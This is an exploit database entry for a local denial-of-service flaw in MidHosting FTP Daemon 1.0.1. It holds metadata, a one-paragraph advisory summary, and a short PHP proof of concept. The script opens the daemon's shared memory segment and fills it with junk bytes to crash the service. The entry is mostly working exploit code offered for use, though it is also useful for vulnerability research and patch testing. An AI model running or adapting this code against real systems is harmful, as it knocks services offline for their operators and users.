MidHosting FTP Daemon 1.0.1 - Shared Memory Local Denial of Service

Author: Frank DENIS
type: dos
platform: linux
port: 
date_added: 2003-06-18  
date_updated: 2012-11-18  
verified: 1  
codes: OSVDB-2182  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22796.php  

source: https://www.securityfocus.com/bid/7956/info

It has been reported that MidHosting FTP Daemon does not properly implement shared memory when the m flag (-m) is enabled. Because of this, an attacker could corrupt process memory, causing the service to crash.

<?php
# mhftpd denial of service

define('SHMSIZE', 16384);

if (($shmid = shmop_open(ftok('/tmp', 'U'), 'w', 0777, SHMSIZE)) == -1) {
die();
}
shmop_write($shmid, str_repeat('A', SHMSIZE), 0);

?>